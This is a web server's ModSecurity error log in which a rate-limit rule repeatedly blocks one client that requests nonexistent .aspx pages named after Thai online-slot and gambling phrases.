[Tue Jan 27 21:31:09.492252 2026] [:error] [pid 48662:tid 48691] [client 54.36.60.91:39268] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20joker.aspx"] [unique_id "aXi-HeD8iESUP9uRiRP3vgAAApY"]
[Tue Jan 27 21:31:12.278891 2026] [:error] [pid 48528:tid 48552] [client 54.36.60.91:39274] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%8B%E0%B8%B7%E0%B9%89%E0%B8%AD%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%AA%20%E0%B8%9B%E0%B8%B4%20%E0%B8%99.aspx"] [unique_id "aXi-IAOGRrquT9N7CZp5_wAAAhY"]
[Tue Jan 27 21:31:15.044576 2026] [:error] [pid 48662:tid 48671] [client 54.36.60.91:39360] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%8B%E0%B8%B7%E0%B9%89%E0%B8%AD%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%AA%E0%B8%9B%E0%B8%B4%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89%202024.aspx"] [unique_id "aXi-I-D8iESUP9uRiRP3wgAAAoM"]
[Tue Jan 27 21:31:17.840438 2026] [:error] [pid 48412:tid 48424] [client 54.36.60.91:39362] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%97%E0%B8%B1%E0%B9%89%E0%B8%87%E0%B8%AB%E0%B8%A1%E0%B8%94.aspx"] [unique_id "aXi-JXbJMfAKlln88JEOKQAAAUo"]
[Tue Jan 27 21:31:20.470411 2026] [:error] [pid 48528:tid 48553] [client 54.36.60.91:39372] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88.aspx"] [unique_id "aXi-KAOGRrquT9N7CZp6JwAAAhc"]
[Tue Jan 27 21:32:03.929651 2026] [:error] [pid 48528:tid 48546] [client 54.36.60.91:39388] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20joker.aspx"] [unique_id "aXi-UwOGRrquT9N7CZp6SAAAAhA"]
[Tue Jan 27 21:32:06.503054 2026] [:error] [pid 7453:tid 7492] [client 54.36.60.91:48536] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20pg.aspx"] [unique_id "aXi-VhfsyA2ws_ADquiqKgAAAEM"]
[Tue Jan 27 21:32:08.901998 2026] [:error] [pid 39017:tid 39061] [client 54.36.60.91:48550] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%97%E0%B8%B8%E0%B8%81%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXi-WM553xt-F_10bG6rcwAAAw0"]
[Tue Jan 27 21:32:11.288963 2026] [:error] [pid 48662:tid 48692] [client 54.36.60.91:48552] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5pg.aspx"] [unique_id "aXi-W-D8iESUP9uRiRP34wAAApc"]
[Tue Jan 27 21:32:13.794522 2026] [:error] [pid 39017:tid 39051] [client 54.36.60.91:57354] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5xo.aspx"] [unique_id "aXi-Xc553xt-F_10bG6reQAAAwM"]
[Tue Jan 27 21:32:16.321593 2026] [:error] [pid 48446:tid 48480] [client 54.36.60.91:57362] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXi-YMDRSaZ8F8aaLxml_QAAAcM"]
[Tue Jan 27 21:32:18.845638 2026] [:error] [pid 48412:tid 48428] [client 54.36.60.91:57372] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXi-YnbJMfAKlln88JEOawAAAU4"]
[Tue Jan 27 21:32:21.356752 2026] [:error] [pid 48412:tid 48420] [client 54.36.60.91:57386] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%9599.aspx"] [unique_id "aXi-ZXbJMfAKlln88JEObwAAAUY"]
[Tue Jan 27 21:32:23.865217 2026] [:error] [pid 7454:tid 7540] [client 54.36.60.91:35268] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg.aspx"] [unique_id "aXi-Z5ltCoZEfMmfl8AjbQAAAJg"]
[Tue Jan 27 21:32:26.389734 2026] [:error] [pid 7453:tid 7505] [client 54.36.60.91:35284] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXi-ahfsyA2ws_ADquiqQQAAAFA"]
[Tue Jan 27 21:32:28.902875 2026] [:error] [pid 48412:tid 48428] [client 54.36.60.91:35296] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99pg.aspx"] [unique_id "aXi-bHbJMfAKlln88JEOeAAAAU4"]
[Tue Jan 27 21:32:31.408753 2026] [:error] [pid 48528:tid 48542] [client 54.36.60.91:35300] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2slotxo%20joker.aspx"] [unique_id "aXi-bwOGRrquT9N7CZp6WAAAAgw"]
[Tue Jan 27 21:32:33.937767 2026] [:error] [pid 48412:tid 48424] [client 54.36.60.91:34212] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2slotxo%20joker123.aspx"] [unique_id "aXi-cXbJMfAKlln88JEOhAAAAUo"]
[Tue Jan 27 21:32:36.316107 2026] [:error] [pid 48528:tid 48535] [client 54.36.60.91:34218] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%2099.aspx"] [unique_id "aXi-dAOGRrquT9N7CZp6XgAAAgU"]
[Tue Jan 27 21:32:38.818887 2026] [:error] [pid 48446:tid 48482] [client 54.36.60.91:34234] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXi-dsDRSaZ8F8aaLxmmFQAAAcU"]
[Tue Jan 27 21:32:41.319138 2026] [:error] [pid 48662:tid 48686] [client 54.36.60.91:34246] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXi-eeD8iESUP9uRiRP39gAAApI"]
[Tue Jan 27 21:32:43.848990 2026] [:error] [pid 7453:tid 7509] [client 54.36.60.91:36030] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%A7%E0%B8%AD%20%E0%B8%A5%20%E0%B9%80%E0%B8%A5%E0%B9%87%20%E0%B8%95.aspx"] [unique_id "aXi-exfsyA2ws_ADquiqcgAAAFQ"]
[Tue Jan 27 21:32:46.345284 2026] [:error] [pid 48528:tid 48551] [client 54.36.60.91:36032] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXi-fgOGRrquT9N7CZp6awAAAhU"]
[Tue Jan 27 21:32:48.855636 2026] [:error] [pid 39017:tid 39059] [client 54.36.60.91:36040] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20100%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81.aspx"] [unique_id "aXi-gM553xt-F_10bG6roAAAAws"]
[Tue Jan 27 21:32:51.369275 2026] [:error] [pid 7454:tid 7533] [client 54.36.60.91:36046] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89%20300.aspx"] [unique_id "aXi-g5ltCoZEfMmfl8AjfgAAAJE"]
[Tue Jan 27 21:32:53.864836 2026] [:error] [pid 7453:tid 7496] [client 54.36.60.91:53080] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXi-hRfsyA2ws_ADquiqdgAAAEc"]
[Tue Jan 27 21:32:56.500920 2026] [:error] [pid 7453:tid 7504] [client 54.36.60.91:53092] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%95%E0%B8%B4%E0%B8%A1%20true%20wallet%20%E0%B8%9D%E0%B8%B2%E0%B8%81-%E0%B8%96%E0%B8%AD%E0%B8%99%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%20%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2%202020.aspx"] [unique_id "aXi-iBfsyA2ws_ADquiqeQAAAE8"]
[Tue Jan 27 21:32:59.005438 2026] [:error] [pid 39016:tid 39036] [client 54.36.60.91:53100] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A2%E0%B8%B8%E0%B9%82%E0%B8%A3%E0%B8%9B.aspx"] [unique_id "aXi-i_B6_y9crthwy8qx_QAAAs8"]
[Tue Jan 27 21:33:40.578212 2026] [:error] [pid 48412:tid 48431] [client 54.36.60.91:53104] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20ufabet%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXi-tHbJMfAKlln88JEOvQAAAVE"]
[Tue Jan 27 21:33:43.091841 2026] [:error] [pid 48446:tid 48484] [client 54.36.60.91:52522] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20wallet%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B550.aspx"] [unique_id "aXi-t8DRSaZ8F8aaLxmmKgAAAcc"]
[Tue Jan 27 21:33:45.581349 2026] [:error] [pid 48446:tid 48500] [client 54.36.60.91:40932] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88.aspx"] [unique_id "aXi-ucDRSaZ8F8aaLxmmLgAAAdY"]
[Tue Jan 27 21:33:48.206953 2026] [:error] [pid 48446:tid 48498] [client 54.36.60.91:40938] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%88%E0%B8%B5%E0%B8%84%E0%B8%A5%E0%B8%B1%E0%B8%9A.aspx"] [unique_id "aXi-vMDRSaZ8F8aaLxmmNAAAAdQ"]
[Tue Jan 27 21:33:50.693460 2026] [:error] [pid 48528:tid 48545] [client 54.36.60.91:40950] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B9%80%E0%B8%97%E0%B8%A8%20%E0%B8%A2%E0%B8%B8%E0%B9%82%E0%B8%A3%E0%B8%9B%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%9A%E0%B9%88%E0%B8%AD%E0%B8%A2.aspx"] [unique_id "aXi-vgOGRrquT9N7CZp6hQAAAg8"]
[Tue Jan 27 21:33:53.184729 2026] [:error] [pid 38987:tid 39000] [client 54.36.60.91:40958] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B8%8B%E0%B8%B7%E0%B9%89%E0%B8%AD%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%AA%E0%B8%9B%E0%B8%B4%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89.aspx"] [unique_id "aXi-waTH0bU76Ifu_Xc0BQAAAAo"]
[Tue Jan 27 21:33:55.817470 2026] [:error] [pid 7454:tid 7526] [client 54.36.60.91:37654] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXi-w5ltCoZEfMmfl8AjjgAAAIo"]
[Tue Jan 27 21:33:58.304066 2026] [:error] [pid 7453:tid 7495] [client 54.36.60.91:37662] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89.aspx"] [unique_id "aXi-xhfsyA2ws_ADquiqjgAAAEY"]
